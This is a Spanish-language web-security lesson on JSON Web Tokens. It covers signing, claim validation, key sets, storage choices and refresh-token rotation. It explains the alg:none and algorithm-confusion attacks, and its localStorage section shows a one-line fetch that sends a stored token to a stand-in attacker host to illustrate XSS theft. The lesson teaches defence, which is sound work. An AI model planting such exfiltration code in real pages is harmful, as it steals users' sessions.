Lección 2 de 412 min
JWT: tokens firmados
Cabecera, contenido y firma, claims estándar, cómo se valida un token y dónde guardarlo.
Ana inicia sesión y, a partir de ahí, cada petición que su navegador hace a la API debe decir quién es. Una opción clásica es guardar una sesión en el servidor y darle al navegador un identificador; la API consulta esa tabla en cada petición. Otra es darle un token que contenga la información y que la API pueda comprobar por sí misma, sin consultar nada.
Un JWT (JSON Web Token, se pronuncia como la palabra inglesa «jot») es ese token: un JSON con datos del usuario y una firma que impide modificarlo sin que se note. Es el formato del ID token de OpenID Connect y de muchísimos access tokens. En esta lección verás cómo está hecho, cómo se valida correctamente y dónde conviene guardarlo.
Anatomía de un JWT
Cabecera, contenido y firma
Tres partes en Base64URL separadas por puntos: header.payload.signature.
- Estándar:
- RFC 7519
- Codificación:
- Base64URL
Un JWT son tres trozos de texto separados por puntos. La cabecera es un JSON que indica el algoritmo de firma (alg) y el tipo; el contenido (payload) es otro JSON con los claims, las afirmaciones sobre el usuario; y la firma se calcula sobre los dos primeros trozos con una clave.
Cabecera y contenido van en Base64URL, una variante de Base64 que usa - y _ en lugar de + y / y quita el relleno =, para que el token viaje sin problemas en URLs y cabeceras. Pero Base64URL es una codificación, no un cifrado: cualquiera que tenga el token puede leer su contenido.
Firmado no es lo mismo que cifrado. La firma garantiza que nadie ha cambiado el contenido, pero no lo oculta. Existe una variante cifrada, JWE, aunque casi todos los JWT que verás son firmados (JWS).
Úsalo cuando
Para que un servicio pueda comprobar quién es el usuario y qué permisos tiene sin consultar una base de datos en cada petición.
Ten en cuenta
Nunca pongas en un JWT datos que el usuario no deba ver: contraseñas, números de tarjeta o información interna. Y ten en cuenta su tamaño: viaja en cada petición.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ← cabecera
.eyJpc3MiOiJodHRwczovL2F1dGguZWplbXBsby5jb20i… ← contenido
.tVUJ9F7pA9Gr8IpfxlnquxknoL_36CMySTEOE2XKIio ← firma
Cabecera: { "alg": "HS256", "typ": "JWT" }
Contenido: { "sub": "usuario-42", "name": "Ana García",
"rol": "usuario", "exp": 1794045600, … }Claims registrados
Nombres estándar de tres letras: quién emite, para quién, sobre quién y cuándo.
El estándar reserva unos cuantos claims con significado fijo. iss (issuer) es quién emitió el token; sub (subject), a quién se refiere, normalmente el id del usuario; aud (audience), para qué API o app es. Los de tiempo van en segundos desde 1970 (tiempo Unix): exp es la caducidad, nbf (not before) el instante a partir del cual vale e iat (issued at) cuándo se emitió. jti es un identificador único del token.
A estos se suman los claims propios de cada aplicación, como rol o plan, y los estándar de OpenID Connect, como name o email.
Úsalo cuando
Siempre: incluye como mínimo iss, sub, aud y exp en los tokens que emitas, y compruébalos en los que recibas.
Ten en cuenta
Los tiempos son segundos, no milisegundos: Date.now() en JavaScript da milisegundos y hay que dividir entre 1000. Y deja un pequeño margen de tolerancia, porque los relojes de los servidores nunca están perfectamente sincronizados.
{
"iss": "https://auth.ejemplo.com",
"sub": "usuario-42",
"aud": "api.ejemplo.com",
"iat": 1794042000,
"nbf": 1794042000,
"exp": 1794045600,
"rol": "usuario"
}Firmar y validar
La firma es lo que da valor a un JWT, y validarlo bien es más que comprobarla: también importa con qué algoritmo, para quién es y si sigue en plazo.
HS256: un secreto compartido
Firma simétrica con HMAC-SHA256: la misma clave firma y verifica.
- Tipo:
- Simétrico (HMAC)
Con HS256, la firma es un HMAC-SHA256 del texto cabecera.contenido calculado con un secreto. Para verificarla se repite el cálculo con el mismo secreto y se compara el resultado. Es rápido y sencillo.
El inconveniente es que quien puede verificar también puede firmar: si diez servicios validan tus tokens, los diez tienen el secreto, y cualquiera de ellos podría fabricar un token de administrador.
Úsalo cuando
Cuando el mismo servicio, o un grupo pequeño de servicios de confianza, emite y valida los tokens.
Ten en cuenta
El secreto debe ser largo y aleatorio, al menos 256 bits, nunca una palabra: un secreto débil se puede adivinar por fuerza bruta a partir de un solo token. Guárdalo como cualquier otro secreto, fuera del código.
RS256 y ES256: clave pública y privada
Firma asimétrica: firma solo quien tiene la clave privada, verifica cualquiera.
- RS256:
- RSA + SHA-256
- ES256:
- ECDSA P-256 + SHA-256
Con RS256 (RSA) o ES256 (curvas elípticas), el emisor firma con una clave privada que nunca sale de su servidor, y cualquiera puede verificar con la clave pública correspondiente. Tus APIs pueden validar tokens, pero ninguna puede fabricarlos.
Es lo que usan los proveedores de identidad como Google, Auth0 o Microsoft Entra ID. ES256 produce firmas y claves más pequeñas que RS256 con una seguridad comparable; RS256 sigue siendo el más extendido.
Úsalo cuando
Cuando un servicio emite los tokens y muchos otros, quizá de otros equipos o empresas, los validan.
Ten en cuenta
Verificar con la clave pública es seguro solo si esa clave viene de una fuente de confianza: tu configuración o el JWKS del emisor esperado, nunca de algo que diga el propio token.
JWKS: el llavero público
Un JSON con las claves públicas del emisor, para verificar y rotar sin cortes.
Un JWKS (JSON Web Key Set) es un documento que el emisor publica en una URL, la jwks_uri del descubrimiento de OpenID Connect, con sus claves públicas. Cada clave tiene un kid (key id), y cada token indica en su cabecera con qué kid se firmó.
Así se rotan las claves sin cortes: el emisor publica la clave nueva junto a la vieja, empieza a firmar con la nueva y retira la vieja cuando ya no quedan tokens firmados con ella.
Úsalo cuando
Siempre que valides tokens de un proveedor con firma asimétrica: tu librería descarga el JWKS, lo guarda en caché y elige la clave por kid.
Ten en cuenta
No descargues el JWKS en cada petición, pero tampoco lo guardes para siempre: si aparece un kid desconocido, vuelve a descargarlo (con un límite, para que nadie te obligue a hacerlo miles de veces).
{
"keys": [
{
"kty": "RSA",
"kid": "2026-11-clave-a",
"use": "sig",
"alg": "RS256",
"n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4…",
"e": "AQAB"
}
]
}Validar un JWT correctamente
Firma, algoritmo permitido, emisor, audiencia y plazo: todo, en cada petición.
Validar un token es una lista de comprobaciones, y fallar en una basta para rechazarlo: la firma es correcta con la clave esperada; el algoritmo está en tu lista de permitidos; iss es tu emisor; aud eres tú; y el instante actual está entre nbf y exp.
La lista de algoritmos permitidos es clave. El famoso ataque alg: none consiste en enviar un token con "alg": "none" y sin firma: algunas librerías antiguas leían el algoritmo de la propia cabecera y daban el token por bueno. Otra variante cambia RS256 por HS256 para que la librería use la clave pública como si fuera un secreto HMAC.
Úsalo cuando
En cada petición que llegue a tu API con un token, en el backend. Que la SPA lo decodifique para mostrar el nombre del usuario no es validarlo.
Ten en cuenta
No escribas tu propio validador: usa una librería mantenida (como jose en Node.js) y pásale siempre los algoritmos, el emisor y la audiencia esperados.
import { createRemoteJWKSet, jwtVerify } from "jose";
const claves = createRemoteJWKSet(new URL("https://auth.ejemplo.com/.well-known/jwks.json"));
export async function validar(token) {
const { payload } = await jwtVerify(token, claves, {
algorithms: ["RS256"], // lista de permitidos: nada de "none"
issuer: "https://auth.ejemplo.com",
audience: "api.ejemplo.com",
clockTolerance: 30, // segundos de margen entre relojes
});
return payload; // si algo falla, jwtVerify lanza un error
}Pruébalo
En el inspector, pulsa «Hacerme admin» y mira cómo la firma deja de ser válida. Después pulsa «Firmar con el secreto»: si alguien conoce el secreto HS256, puede fabricar el token que quiera. Prueba también a mover «ahora» más allá de exp.
Interactivo
Inspector de JWT
Decodifica un token, verifica su firma HS256 con un secreto y prueba a manipularlo.
Cabecera
- alg: "HS256"
- Algoritmo de firma. El validador lo compara con su lista de algoritmos permitidos.
- typ: "JWT"
- Tipo de token.
Contenido (payload)
- iss: "https://auth.ejemplo.com"
- Emisor: quién creó el token. La API solo acepta emisores conocidos.
- sub: "usuario-42"
- Sujeto: a quién se refiere, normalmente el id del usuario.
- aud: "api.ejemplo.com"
- Audiencia: la API a la que va dirigido. Si no eres tú, recházalo.
- name: "Ana García"
- Claim propio: el nombre para mostrar. Cualquiera puede leerlo.
- rol: "usuario"
- Claim propio de esta app. Es lo que un atacante querría cambiar.
- iat: 1794042000
- 07/11/2026 09:00 UTC. Emitido en: cuándo se creó.
- nbf: 1794042000
- 07/11/2026 09:00 UTC. No antes de: hasta este instante todavía no vale.
- exp: 1794045600
- 07/11/2026 10:00 UTC. Caducidad: a partir de este instante el token ya no vale.
- Firma: comprobando…
- Plazo: dentro del plazo entre nbf y exp
- Sin comprobar la firma, no se puede aceptar todavía.
Fíjate en que el contenido se lee sin conocer el secreto: está codificado, no cifrado. Una API real también comprobaría que iss y aud son los esperados.
Guardar y renovar tokens
Cookie HttpOnly
El navegador guarda el token y lo envía solo; JavaScript no puede leerlo.
Si el servidor entrega el token en una cookie con los atributos HttpOnly, Secure y SameSite, el navegador lo guarda y lo adjunta solo a cada petición a ese dominio. Con HttpOnly, ningún script de la página puede leerlo, así que un ataque XSS (código malicioso inyectado en tu página) no puede robarlo y llevárselo.
Es la base del patrón BFF (Backend for Frontend): un pequeño backend propio guarda los tokens de OAuth y la SPA solo tiene una cookie de sesión con él.
Úsalo cuando
Para aplicaciones web cuyo frontend y API comparten dominio (o un BFF): es la opción más resistente al robo de tokens.
Ten en cuenta
Como el navegador la envía sola, abre la puerta al CSRF: que otra web provoque peticiones en tu nombre. SameSite=Lax o Strict lo mitiga; lo verás a fondo en el módulo de seguridad web.
HTTP/1.1 200 OK
Set-Cookie: sesion=eyJhbGciOi…; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=900localStorage
Cómodo para guardar el token desde JavaScript, pero expuesto a cualquier script.
Guardar el token con localStorage.setItem y añadirlo a mano en la cabecera Authorization es muy común en tutoriales porque es sencillo y no tiene problemas de CSRF: el navegador no lo envía solo.
El problema es que cualquier script que se ejecute en tu página puede leerlo: el tuyo, el de una librería comprometida o el de un ataque XSS. Un fetch al servidor del atacante basta para llevarse el token y usarlo desde otro lugar hasta que caduque.
Úsalo cuando
Casi nunca para tokens con valor. Si una SPA tiene que manejar el access token, mejor guardarlo en memoria (una variable) y renovarlo con un refresh token protegido.
Ten en cuenta
Lo que guardas en localStorage sobrevive al cierre del navegador: un token robado de ahí no se va al cerrar la pestaña.
// Una sola línea inyectada en tu página basta
fetch("https://atacante.ejemplo/robar?t=" + localStorage.getItem("token"));Refresh tokens y rotación
Access tokens de vida corta y un token aparte para pedir otros nuevos.
Un access token que dura pocos minutos limita el daño si se roba, pero obligaría a iniciar sesión constantemente. La solución es un refresh token: una credencial de vida más larga que la app presenta en /token (grant_type=refresh_token) para obtener un access token nuevo sin molestar al usuario.
Con rotación, cada uso del refresh token devuelve uno nuevo e invalida el anterior. Si alguien intenta usar uno ya gastado, el servidor sabe que se ha robado y puede revocar toda la familia de tokens de esa sesión.
Úsalo cuando
En cualquier app con sesiones largas: access tokens de 5 a 15 minutos y refresh tokens rotatorios.
Ten en cuenta
El refresh token vale más que el access token, así que protégelo más: en una cookie HttpOnly o en el almacenamiento seguro del sistema en móviles, y nunca lo envíes a tu API, solo al servidor de autorización.
POST /oauth/token
grant_type=refresh_token&client_id=mi-spa
&refresh_token=8xLOxBtZp8
→ { "access_token": "eyJhbGciOi…", "expires_in": 600,
"refresh_token": "Qz6vTn2Jw1" } ← el anterior ya no valeRevocación
Invalidar un token antes de que caduque, aunque su firma siga siendo correcta.
La ventaja de un JWT, que la API lo valida sin consultar a nadie, es también su punto débil: si despides a un empleado, su token sigue siendo válido hasta exp. Por eso la primera defensa es que los access tokens duren poco.
Para cortar el acceso al instante hay dos herramientas: revocar el refresh token en el servidor de autorización, para que no se emitan más access tokens, y, si hace falta, mantener una lista de revocados con los jti que la API consulta, que solo necesita guardarlos hasta su exp.
Úsalo cuando
Al cerrar sesión, al cambiar la contraseña, al detectar un robo o al dar de baja a alguien.
Ten en cuenta
Si consultas una lista de revocados en cada petición, has vuelto en parte al modelo de sesión en servidor. Es un buen compromiso, pero sé consciente de él y guarda la lista en algo rápido, como Redis.
Interactivo
Dónde guardar el token en una app web
Activa o desactiva opciones para compararlas cara a cara.
| Característica | Cookie HttpOnly | localStorage | Memoria (una variable) |
|---|---|---|---|
| ¿Lo lee JavaScript? | No | Sí, cualquier script | Solo tu código en esa pestaña |
| Ante un XSS | No se puede robar, aunque el script puede hacer peticiones mientras la página está abierta | Se puede robar y usar desde fuera | Más difícil de robar, aunque no imposible |
| Riesgo de CSRF | Sí, mitigado con SameSite | No | No |
| Sobrevive a recargar | Sí | Sí, incluso al cerrar el navegador | No: se renueva con un refresh token |
| Se envía solo | Sí, a su dominio | No, lo añades tú | No, lo añades tú |
Ponlo en práctica
Saber qué es cada cosa es la mitad del trabajo. La otra mitad es reconocer cuándo usarla.
Interactivo
¿Qué usarías?
Lee cada situación y elige la opción que mejor la resuelve. Fallar aquí no cuenta: es para practicar.
Tu aplicación es un único backend que emite los tokens al iniciar sesión y es el único que los valida.
Para recordar
- Un JWT son tres partes en Base64URL: cabecera, contenido y firma. Firmado no es cifrado: el contenido lo lee cualquiera.
- HS256 usa un secreto compartido; RS256 y ES256, una clave privada para firmar y una pública, publicada en un JWKS, para verificar.
- Validar es comprobar firma, algoritmo permitido,
iss,aud,expynbf, siempre en el backend y con una librería. - Evita
localStoragepara tokens con valor: una cookie HttpOnly o la memoria resisten mejor un XSS. - Access tokens cortos, refresh tokens rotatorios y revocación para cortar el acceso antes de tiempo.
Comprueba lo aprendido
Cuestionario
Responde las 5 preguntas para completar la lección.
1.Alguien intercepta un JWT firmado con HS256. ¿Qué puede hacer sin conocer el secreto?
2.Un token tiene
nbf= 1000 yexp= 2000, y el reloj de tu API marca 2000. ¿Qué haces?3.¿Por qué el claim
audes importante?4.¿En qué consiste el ataque
alg: none?5.Con rotación de refresh tokens, el servidor recibe un refresh token que ya se había usado. ¿Qué significa probablemente?